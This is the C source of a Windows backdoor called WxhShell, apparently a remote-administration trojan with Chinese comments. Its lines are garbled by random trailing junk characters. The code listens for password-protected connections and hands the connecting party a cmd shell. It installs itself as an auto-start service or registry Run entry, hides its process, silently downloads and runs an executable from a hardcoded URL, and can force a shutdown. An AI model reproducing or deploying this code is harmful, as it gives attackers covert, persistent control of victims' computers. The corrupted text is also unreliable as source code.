    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r55qmPhg  
    else { !ZFr7Xz  
    closesocket(wsh); 9n1ZVP.ag  
    ExitThread(0); "(s6aqO$  
    } K&=D-50%  
    break; PJzc=XPU  
    } '.?^uM  
  // 获取shell b2N6L2~V  
  case 's': { 6X/wd k  
    CmdShell(wsh); qE )Y}oN  
    closesocket(wsh); "\e:h| .G  
    ExitThread(0); $}t=RW  
    break; sLb8*fak  
  } cAD[3b[Gk  
  // 退出 N_UQ  
  case 'x': { tAF]2VV(e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \tY"BC4.  
    CloseIt(wsh); U^MuZ  
    break; ,V,f2W 4  
    } v=!YfAn  
  // 离开 tR kF   
  case 'q': { (a[.vw^g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &5?G-mn  
    closesocket(wsh); XAe\s`  
    WSACleanup(); "!O1j r;  
    exit(1); v:E;^$6Vn  
    break; Yu'a<5f  
        } L>dkrr)e  
  } e@E17l-  
  } dL-i)F  
6^)rv-L~5y  
  // 提示信息 ._?V%/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gav"C{G  
} (Yv{{mIy  
  } J! {Al  
`H\)e%]  
  return; K UKACUL  
} O sQkA2=  
#02Kdo&Vy  
// shell模块句柄 `\bT'~P  
int CmdShell(SOCKET sock) [#Y' dFQ  
{ <:&de8bT  
STARTUPINFO si; yEq#Dr  
ZeroMemory(&si,sizeof(si)); !^e =P%S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _T5)n=|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rEdY>\'  
PROCESS_INFORMATION ProcessInfo; `9Yn0B.  
char cmdline[]="cmd"; _%~$'Hy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 54{q.I@n  
  return 0; +`B'r '  
} 3uV4/% U  
w7FoL  
// 自身启动模式 oKA&An  
int StartFromService(void) r3qf[?3`6  
{ ySe$4deJ  
typedef struct <_Eg?ePW#  
{  %v+=;jw  
  DWORD ExitStatus; lwT9~Hyp  
  DWORD PebBaseAddress; D'b#,a;V  
  DWORD AffinityMask; %T!J$a)qf  
  DWORD BasePriority; & ze>X  
  ULONG UniqueProcessId; (CJ.BHu]  
  ULONG InheritedFromUniqueProcessId; 9@K.cdRjQ  
}   PROCESS_BASIC_INFORMATION; .$&Q[r3Lu  
im]g(#GnKh  
PROCNTQSIP NtQueryInformationProcess; G,XPT,:%  
d;7 uFh|o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m} 3gZu]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s =Umj'1k  
?<U{{ C  
  HANDLE             hProcess; =Q<L eh=G  
  PROCESS_BASIC_INFORMATION pbi; kkS~4?- *  
@%hCAm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .&1C:>  
  if(NULL == hInst ) return 0; QJn`WSw$_-  
C3XmK}h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &H||&Z[pk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !2tW$BP^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $g10vF3  
D\1k.tI  
  if (!NtQueryInformationProcess) return 0; >\2:\wI  
EpYy3^5d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UG;Y^?Ppe5  
  if(!hProcess) return 0; x;LzG t:w  
?+0GfIV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; At6qtoPRA  
1[;;sSp  
  CloseHandle(hProcess); usFfMF X  
kW@,$_cK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w%y\dIeI'  
if(hProcess==NULL) return 0; ?F7o!B  
C/=XuKE-t  
HMODULE hMod; +G F#?X0^  
char procName[255]; 'zZcn" +!  
unsigned long cbNeeded; $w#r"= )  
#!2k<Q*5uT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HYK!}&  
]Mi.f3QlO6  
  CloseHandle(hProcess); h3* x[W  
\4d.sy0&>-  
if(strstr(procName,"services")) return 1; // 以服务启动 Dg HaOAdU  
ObG|o1b  
  return 0; // 注册表启动 (`BSVxJH  
} Q`%R[#  
g(C|!}ex/  
// 主模块 ln!'_\{  
int StartWxhshell(LPSTR lpCmdLine) crcA\lJf  
{ (u3s"I d  
  SOCKET wsl; 2@=IT0[E\  
BOOL val=TRUE; j;1-p>z  
  int port=0; hm*cw[#O1x  
  struct sockaddr_in door; en F:>H4  
->^~KVh&  
  if(wscfg.ws_autoins) Install(); )~J>X{hy  
(ll*OVL  
port=atoi(lpCmdLine); Lw1EWN6}_&  
;`YkMS`=W  
if(port<=0) port=wscfg.ws_port; OZY,@c  
H*^\h?s  
  WSADATA data; x NK1h-t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N2'qpxOLI  
{c?JuV4q?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ulFzZHJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O,2~"~kF  
  door.sin_family = AF_INET; I){\0vb@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >LC<O.  
  door.sin_port = htons(port); j%u-dr  
$?G"GQ!.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IP`6bMd  
closesocket(wsl); oX@ya3!Pz  
return 1; 0MMEo~dih  
} ]uj=:@  
"gtHTqheH  
  if(listen(wsl,2) == INVALID_SOCKET) { 7?8wyk|x  
closesocket(wsl); .nu @ o40  
return 1; E/&Rb*3  
} =<r8fXWZ  
  Wxhshell(wsl); im} ?rY  
  WSACleanup(); `p b5*h6r!  
oI:o"T77sA  
return 0; do*}syQ`O  
A1)wo^,  
} YJg,B\z}  
znJhP}(  
// 以NT服务方式启动 (&|_quP7O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D4eTTfQ  
{ d)cOhZy  
DWORD   status = 0; R[z`:1lo  
  DWORD   specificError = 0xfffffff; " 96yp4v@  
J:uW`R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ih,%i4<}6m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sDr/k`>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NNhL*C[_7  
  serviceStatus.dwWin32ExitCode     = 0; 6qN~/TnHZ  
  serviceStatus.dwServiceSpecificExitCode = 0; V.ht, ~l  
  serviceStatus.dwCheckPoint       = 0; }bN%u3mHws  
  serviceStatus.dwWaitHint       = 0; 21s4MagC  
Q9}dHIe1E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ? J} r  
  if (hServiceStatusHandle==0) return; T=hho Gn  
?D,=37  
status = GetLastError(); RLlU" sw+{  
  if (status!=NO_ERROR) k#[F`  
{ l4n)#?Q?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P%)gO  
    serviceStatus.dwCheckPoint       = 0; AL$&|=C-$  
    serviceStatus.dwWaitHint       = 0; (~zd6C1.  
    serviceStatus.dwWin32ExitCode     = status; &g2 Eptx#  
    serviceStatus.dwServiceSpecificExitCode = specificError; G?f\>QSZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zR!o{8  
    return; 9/+Nj/  
  } vvUSeG\n#j  
{`2R,Jb%S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ycFio ,  
  serviceStatus.dwCheckPoint       = 0; pg]BsJN  
  serviceStatus.dwWaitHint       = 0; < >UPD02  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zF5uN:-s  
} ;8!Z5H  
zlR?,h-[3  
// 处理NT服务事件,比如:启动、停止 omWJJ|b~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ikE<=:pe  
{ .jy]8S8[|%  
switch(fdwControl) yj4+5`|f  
{ %|G"-%_E  
case SERVICE_CONTROL_STOP: Ax!+P\\2~  
  serviceStatus.dwWin32ExitCode = 0; 7'NwJ,$6\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *6xgctk  
  serviceStatus.dwCheckPoint   = 0; Y+K|1r  
  serviceStatus.dwWaitHint     = 0; Vh}SCUof'  
  { x0 d~i!d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ HZKc\1  
  } cRX~z  
  return; >0p$(>N]  
case SERVICE_CONTROL_PAUSE: }j,[ 1@S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L[5=h  
  break; jxJv.  
case SERVICE_CONTROL_CONTINUE: }|%eCVB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L 8{\r$  
  break; P/&]?f0/  
case SERVICE_CONTROL_INTERROGATE: ''\;z<v   
  break; &3J@BMYp  
}; '!f5?O+E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R |KD&!~Z  
} r J KZ)N{  
5NJ4  
// 标准应用程序主函数 *T0q|P~o%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k6=nO?$  
{ `9k0Gd  
NBb6T V}j  
// 获取操作系统版本 <F11m(  
OsIsNt=GetOsVer(); !n6wWl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /b|0PMX  
s+:=I e  
  // 从命令行安装 fO#vF.k%  
  if(strpbrk(lpCmdLine,"iI")) Install(); LJoGpr 8  
eAPXWWAZJ1  
  // 下载执行文件 ~ ihI_q"  
if(wscfg.ws_downexe) { ,vW:}&U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lI>SUsQFfm  
  WinExec(wscfg.ws_filenam,SW_HIDE); a<]B B$~  
} g/13~UM\  
I(=V}s2  
if(!OsIsNt) { *%KKNT'*  
// 如果时win9x,隐藏进程并且设置为注册表启动 2w)-\/j}  
HideProc(); > x IJE2  
StartWxhshell(lpCmdLine); tH'2gl   
} YJ(*wByM  
else tpuYiL  
  if(StartFromService()) @29U@T  
  // 以服务方式启动 |d6T/Uxo  
  StartServiceCtrlDispatcher(DispatchTable); r,_?F7  
else =)|-?\[w  
  // 普通方式启动 Q]p(u\*  
  StartWxhshell(lpCmdLine); a#T]*(Yq)  
tE7[Smzuf  
return 0; d\|!Hg,  
} %e&9.  
y^o@"IYu3  
v9T_&  
r H~" 4  
=========================================== [ @4rjGwB  
HYmn:?H  
s`>[F@N7.o  
[5Lz/ix=  
1#1 riM -  
u+{a8=  
" 1yqJwy;X  
+VQ\mA59  
#include <stdio.h> ^_lzZOhG  
#include <string.h> )Wb0u0)_  
#include <windows.h> ;NlWb =  
#include <winsock2.h> Ie%EH  
#include <winsvc.h> /r_~: 3F  
#include <urlmon.h> H.UX,O@  
n("0%@ov  
#pragma comment (lib, "Ws2_32.lib") " LJq%E  
#pragma comment (lib, "urlmon.lib") XkyKBg-  
IUtx!.]4  
#define MAX_USER   100 // 最大客户端连接数 >ooZj9:'  
#define BUF_SOCK   200 // sock buffer "n*~Mj Ny  
#define KEY_BUFF   255 // 输入 buffer 2h%z ("3/  
0T46sm r  
#define REBOOT     0   // 重启 p uT'y  
#define SHUTDOWN   1   // 关机 "*})3['n  
n[(Qr9  
#define DEF_PORT   5000 // 监听端口 t]X w{)T  
m>SErxU(z  
#define REG_LEN     16   // 注册表键长度 YM DMH"3  
#define SVC_LEN     80   // NT服务名长度 rSrIEP,c'  
j!3 Gz  
// 从dll定义API Ag@;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;`6^6p\p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |2KAo!PI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2YDM9`5xs\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~RWktv  
fNrgdfo  
// wxhshell配置信息 NssELMtF!g  
struct WSCFG { ;D$)P7k6  
  int ws_port;         // 监听端口 i E CrI3s  
  char ws_passstr[REG_LEN]; // 口令 ~/*MY  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bm]8m=p  
  char ws_regname[REG_LEN]; // 注册表键名 : >>@rF ,  
  char ws_svcname[REG_LEN]; // 服务名 -+O 9<3ly  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `:axzCrCfR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NB<A>baL*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2+X\}s1vN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *E{2J:`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ciMzf$+G$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PiA0]>  
Q~T$N  
}; 3d|9t9v  
YQY%M>F@d%  
// default Wxhshell configuration nR`ov1RH  
struct WSCFG wscfg={DEF_PORT, AFAAuFE"  
    "xuhuanlingzhe", H<3I 5Kgt  
    1, y '!m4-  
    "Wxhshell", %plo=RF  
    "Wxhshell", <n#DT  
            "WxhShell Service", *BR^U$,e  
    "Wrsky Windows CmdShell Service", 1/"WD?a  
    "Please Input Your Password: ", rdJR 2  
  1, s-v  
  "http://www.wrsky.com/wxhshell.exe", &?(?vDFfZ  
  "Wxhshell.exe" +>PX&F  
    }; l'eyq}&  
6R^^.tCs  
// 消息定义模块 8-O)Xx}cU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LGtIm7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V5rS T +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KY~- ;0x  
char *msg_ws_ext="\n\rExit."; o>VVsH  
char *msg_ws_end="\n\rQuit."; G["c\Xux  
char *msg_ws_boot="\n\rReboot..."; 53[~bwD  
char *msg_ws_poff="\n\rShutdown..."; CvD "sHVq%  
char *msg_ws_down="\n\rSave to "; ynrT a..  
JeE ;V![  
char *msg_ws_err="\n\rErr!"; ^ (FdXGs[  
char *msg_ws_ok="\n\rOK!"; L+i(TM=  
:eCU/BC4  
char ExeFile[MAX_PATH]; #Q /Arq  
int nUser = 0; 9B9(8PVG  
HANDLE handles[MAX_USER]; c??mL4$'N  
int OsIsNt; %QP0  
<Sr  
SERVICE_STATUS       serviceStatus; J_4!2v!6e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q?8| [.  
{Ja!~N;3  
// 函数声明 t)}scf&^x  
int Install(void); :n-]>Q>5=k  
int Uninstall(void);  .P"D  
int DownloadFile(char *sURL, SOCKET wsh); c(~[$)i6  
int Boot(int flag); T]c%!&^ _  
void HideProc(void); 5wDg'X]>V  
int GetOsVer(void); XD2v*l|Po  
int Wxhshell(SOCKET wsl); Kuu *&u  
void TalkWithClient(void *cs); AQwdw>I-FX  
int CmdShell(SOCKET sock); #NryLE!/  
int StartFromService(void); bXNk%W[n  
int StartWxhshell(LPSTR lpCmdLine); {Sj9%2'M)  
H|HYo\@F#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); av|g}xnj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?snp8W-WB  
\}|o1Xh2  
// 数据结构和表定义 Sxh]R+Xb  
SERVICE_TABLE_ENTRY DispatchTable[] = Iepsz  
{ r<d_[?1N  
{wscfg.ws_svcname, NTServiceMain}, jIyB  
{NULL, NULL} ~S,,w1`  
};   #^A*  
c$yk s  
// 自我安装 }|8_9Rx0*  
int Install(void)  cHk)i  
{ AiO$<CS  
  char svExeFile[MAX_PATH]; }WH&iES@P  
  HKEY key; 2|*JSU.I  
  strcpy(svExeFile,ExeFile); z\%67C  
1 P!Yxeh  
// 如果是win9x系统,修改注册表设为自启动 ~ r4 38&  
if(!OsIsNt) { M]2]\km  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M,\:<kNI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x5-}h*  
  RegCloseKey(key); S;286[oq@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rx=>6,)'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lUMS;H(  
  RegCloseKey(key); fUA uqfj[  
  return 0; \6Zr  
    } [rV>57`YD  
  } 4p,EBn9(  
} EZ`te0[  
else { BdH-9n~,  
3!|;iJRH  
// 如果是NT以上系统,安装为系统服务 8&qZ0GLaT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?q{ ,R"  
if (schSCManager!=0) LQRQA[^  
{ 7 *`h/  
  SC_HANDLE schService = CreateService GQUe!G9  
  ( (Fhs"  
  schSCManager, WGZ9B^A  
  wscfg.ws_svcname, kr9*,E9cv  
  wscfg.ws_svcdisp, %|q>pin2  
  SERVICE_ALL_ACCESS, q %"VYt4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , st:`y=F_  
  SERVICE_AUTO_START, os:A]  
  SERVICE_ERROR_NORMAL, Sp;G'*g  
  svExeFile, S]Mw #O|  
  NULL, ]rH\`0  
  NULL, MS 81sN\d  
  NULL, 9Hb6nm  
  NULL, tne ST.  
  NULL L"1}V  
  ); |es?;s'  
  if (schService!=0) PuA9X[=  
  { D"2&P^-  
  CloseServiceHandle(schService); BMG3|N^  
  CloseServiceHandle(schSCManager); xg;+<iW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YSic-6z0Ms  
  strcat(svExeFile,wscfg.ws_svcname); lJ}_G>GJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q=Sgk>NA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %Q fO8P  
  RegCloseKey(key); e]$}-i@#  
  return 0; 1Vrh4g.l  
    } y[)>yq y  
  } ?R$F)g7<  
  CloseServiceHandle(schSCManager); qzKdQ&vO  
} 2db3I:;E  
} )f[ B6Y  
J\:R|KaP<p  
return 1; [6%VRqY  
} 8"2=U6*C  
Mb|a+,:>3  
// 自我卸载 9.gXzP H  
int Uninstall(void) -$cmG4  
{ .ps-4eXF  
  HKEY key; g9}DnCT*.  
/_AnP  
if(!OsIsNt) { 4C61GB?Vy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IoQEtA  
  RegDeleteValue(key,wscfg.ws_regname); z<U-#k7nz  
  RegCloseKey(key); ORHp$Un~)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?mFv0_!O  
  RegDeleteValue(key,wscfg.ws_regname); "4+ &-ms  
  RegCloseKey(key); "/3'XOK|  
  return 0; Vt %bI0#  
  } 5HkKurab  
} 5 ZGNz1)?V  
} jjw`Dto&  
else { Dwr)0nk  
F;4vPbH+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )U7t  
if (schSCManager!=0) a!7A_q8M  
{ dJeNbVd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~J wb`g.  
  if (schService!=0) RKHyw 08  
  { (2J: #  
  if(DeleteService(schService)!=0) { c'>/  
  CloseServiceHandle(schService); f_jo+z{-ik  
  CloseServiceHandle(schSCManager); PV'x+bN5  
  return 0; 4sF"6+%5d  
  } 5cL83FQh  
  CloseServiceHandle(schService); 1 d}Z(My  
  } p*4':TFuD;  
  CloseServiceHandle(schSCManager); :dl]h&C^  
} r3&G)g=u  
} |[<_GQl  
U@_dm/;0&  
return 1; EUD~CZhS"k  
} , pDnRRJ!  
5[k/s}g  
// 从指定url下载文件 Xx."$l  
int DownloadFile(char *sURL, SOCKET wsh) :DrWq{4  
{ `w#Oih!6A|  
  HRESULT hr; v5!d$Vctu  
char seps[]= "/"; Y!~49<;  
char *token; $+8cc\fq  
char *file; Pk{_(ybaY  
char myURL[MAX_PATH]; =9y[1t  
char myFILE[MAX_PATH]; ?26I,:;  
p4.wh|n  
strcpy(myURL,sURL); Se :.4<  
  token=strtok(myURL,seps); gPNZF\ r  
  while(token!=NULL) Zd^rNHhA  
  { .zA^)qgL  
    file=token; V)Z}En["1  
  token=strtok(NULL,seps); _E&A{HkJ  
  } Xb:;</  
.0S~872  
GetCurrentDirectory(MAX_PATH,myFILE); $UMFNjL  
strcat(myFILE, "\\"); 3GaQk-  
strcat(myFILE, file); b3&zjjQ  
  send(wsh,myFILE,strlen(myFILE),0); \rx3aJl  
send(wsh,"...",3,0); Y}t \4 di  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FOv=!'S o  
  if(hr==S_OK) kw >v:F<M  
return 0; 7`- Zuf  
else -[ *,^Ti`  
return 1; ypbe!Y<i]  
''q@>  
} oRm L {UDZ  
b*;Si7-  
// 系统电源模块 *]ly0nP  
int Boot(int flag) y?[ v=j*U  
{ Pu7_ v  
  HANDLE hToken; F3N?Nk/  
  TOKEN_PRIVILEGES tkp; oibsh(J3  
Sz%t JD..  
  if(OsIsNt) { **w!CaqvY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (|[2J3ZET  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @oNH@a j%  
    tkp.PrivilegeCount = 1; *?5*m+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;X8yFq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -E^vLB)O  
if(flag==REBOOT) { bx#>BK!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F|d\k Q  
  return 0; +DW~BS3  
} j-4VB_N@  
else { AYt%`Y.!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3C?f(J}  
  return 0; gy,ht3  
} Fu SL}P  
  } ZOft.P O  
  else { In:9\7~jC  
if(flag==REBOOT) { $h2){*5E{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mPOGidxix  
  return 0; K{x\4  
} g-Mj.owu=  
else { o9|nJ;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X^T:8npxt  
  return 0; (X $=Q6  
} %zA;+s$l  
} "9m2/D`=  
2QD3&Q9  
return 1; Uddr~2%(  
} 6TQoqH8@U  
x*![fK  
// win9x进程隐藏模块 txJr;  
void HideProc(void) 8e*,jH3  
{ ,p4&g)o  
2"0es40;0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OP~HdocB  
  if ( hKernel != NULL ) t|H^`Cv6  
  { cQ/5qg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R{WE\T'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hU(umL<  
    FreeLibrary(hKernel); :V1W/c  
  } MC?,UDNd%  
"w^!/  
return; #D<C )Q  
} bP8Sj16q  
nc~F_i=  
// 获取操作系统版本 s:OFVlC%\  
int GetOsVer(void) o}$XH,-9&  
{ aK&b{d  
  OSVERSIONINFO winfo; jK!Au  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '= _/1F*q  
  GetVersionEx(&winfo); NiWa7/Hr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;'?l$ ._  
  return 1; kjW+QT?T&  
  else ZO!I.  
  return 0; Qt iDTr  
} <A[E:*`*  
R%Qf7Q  
// 客户端句柄模块 :H7D~ n  
int Wxhshell(SOCKET wsl) ZW-yP2  
{ ]=.\-K  
  SOCKET wsh; ?i)f^O  
  struct sockaddr_in client; o 4`hY/<t  
  DWORD myID; 0)%YNaskj  
P<PJ)>  
  while(nUser<MAX_USER) $$D}I*^Dt  
{ E4gYemuN  
  int nSize=sizeof(client); *-+&[P]m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R? ,an2  
  if(wsh==INVALID_SOCKET) return 1; n1qQ+(xC  
1q~+E\x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0]>u )%  
if(handles[nUser]==0) +!k&Yje  
  closesocket(wsh); H9KKed47d/  
else S\''e`Eb"5  
  nUser++; 8MK>)P o)  
  } l\BVS)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p`mS[bxv!  
+J_c'ChN  
  return 0; AK&S5F>D+B  
} &J55P]7w  
b^ L \>3  
// 关闭 socket B||*.`3gN  
void CloseIt(SOCKET wsh) $ .C=H[QC  
{ =7-9[{  
closesocket(wsh); ;6gDV`Twy  
nUser--; Wc,_RN-  
ExitThread(0); IN4=YrM^  
} s4G|_==  
nnCG g+l  
// 客户端请求句柄 ~1cnE:x;V  
void TalkWithClient(void *cs) $@sEn4h  
{ R#xCkl-  
UQ8M~x5$3%  
  SOCKET wsh=(SOCKET)cs; `k OD[*  
  char pwd[SVC_LEN]; y]2qd35u_A  
  char cmd[KEY_BUFF]; D5$wTI  
char chr[1]; P.6nA^hXB  
int i,j; 5 elw~u  
E_Im^a  
  while (nUser < MAX_USER) { 6^%UU o%  
LL]zT H0  
if(wscfg.ws_passstr) { qgE 73.!`6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /nyUG^5#{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4S,`bnmB  
  //ZeroMemory(pwd,KEY_BUFF); ^cV;~&|.Xk  
      i=0; $>*3/H  
  while(i<SVC_LEN) { if}-_E<F  
wkP#Z"A0~  
  // 设置超时 (2$( ?-M  
  fd_set FdRead; I{ HN67O  
  struct timeval TimeOut; aki _RG>U'  
  FD_ZERO(&FdRead); HKF H/eV  
  FD_SET(wsh,&FdRead); (]b!{kS  
  TimeOut.tv_sec=8; =fu :@+  
  TimeOut.tv_usec=0; w<zIAQN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ks=>K(V6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h lkn%  
W;_nK4$%'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q/4YS0CqE  
  pwd=chr[0]; I*LknU@  
  if(chr[0]==0xd || chr[0]==0xa) { Rz (QC\(  
  pwd=0; -9"['-WH,  
  break; Fp@TCPe#  
  } NxjB/N  
  i++; eyefWn&  
    } PH`9MXh  
GMMp|WV|  
  // 如果是非法用户,关闭 socket P9=?zh 6G.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZPiq-q  
} Ne#WI'  
"u6`m?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ElS9?Q+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xua+cVc\y  
(EK"V';   
while(1) { a-l; vDs  
K/A*<<r ~  
  ZeroMemory(cmd,KEY_BUFF); |3F02  
gT$Ju88  
      // 自动支持客户端 telnet标准   ?g?L3vRK  
  j=0; P/xKnm~  
  while(j<KEY_BUFF) { kjEEuEv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bA= |_Wt  
  cmd[j]=chr[0]; qP{/[uj[K  
  if(chr[0]==0xa || chr[0]==0xd) { n3}!p'-CC  
  cmd[j]=0; D _/^+H]1  
  break; )E6;-rD0^+  
  } S>.SSXlM  
  j++; Q@ 2i~Qo[  
    } (Q%'N3gk  
~\=1'D^6CK  
  // 下载文件 f` :i.Sr  
  if(strstr(cmd,"http://")) { /J04^ 6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,S'p %g  
  if(DownloadFile(cmd,wsh)) XEn*?.e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I *x[:)X8  
  else Jj,U RD&0R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G"X8}:}  
  } uwa~-xX6  
  else { 'a$Gv&fu  
hGd<<\  
    switch(cmd[0]) { @) s,{F  
  F;=4vS]\  
  // 帮助 RE =`  
  case '?': { 2kdC]|H2?  
